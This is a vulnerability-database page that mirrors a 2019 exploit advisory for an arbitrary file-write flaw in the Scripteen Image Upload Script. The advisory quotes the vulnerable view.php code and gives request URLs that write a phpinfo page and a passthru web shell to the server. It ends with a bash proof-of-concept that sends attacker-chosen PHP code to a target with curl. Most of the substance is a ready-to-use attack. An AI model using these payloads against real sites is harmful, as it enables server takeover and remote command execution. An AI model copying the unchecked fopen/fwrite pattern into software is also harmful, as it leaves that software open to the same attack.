Lucene search
K

Scripteen Image Upload Shell Upload

🗓️ 01 Nov 2019 00:00:00Reported by z3r0fyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 240 Views

Scripteen Image Upload Shell Upload vulnerability, arbitrary file injection via view.ph

Code
`[+] Exploit Title : Scripteen İmage Upload Script Arbitrary File Injection  
  
[+] Venedor Home Page : https://scripteen.com/  
[+] Author : z3r0fy  
[+] Twitter : z3r0fy  
[+] Website : www.bugcontainer.gq  
[+] CX Security Link : https://cxsecurity.com/issue/WLB-2019100145  
  
[+] Description :  
  
Due to these codes in the View.php file  
  
$home = fopen($_GET["file"], "w"); fwrite($home, $_GET["data"]);  
  
File can be written arbitrarily  
Exploit : /app/view.php?file=shell.php&data=<?php phpinfo();?>  
If you want to be made more offensive,  
app/view.php?file=shell.php&data=<?php passthru($_GET["cmd"]);?>  
After poc is applied, This way the command can be run on the server "shell.php?cmd=" ​​  
  
  
  
[+] PoC :  
  
#!/bin/bash  
echo "  
__________ ____ ___ _______ __  
|__ /___ /| _ \ / _ \| ___\ \ / /  
/ / |_ \| |_) | | | | |_ \ V /  
/ /_ ___) | _ <| |_| | _| | |  
/____|____/|_| \_\\___/|_| |_|  
  
"  
echo" "  
echo -n "[+] TARGET : " ;read hedef  
echo -n "[+] PHP Code : " ;read kod  
curl $hedef/app/view.php?file=shell.php&data=$kod  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation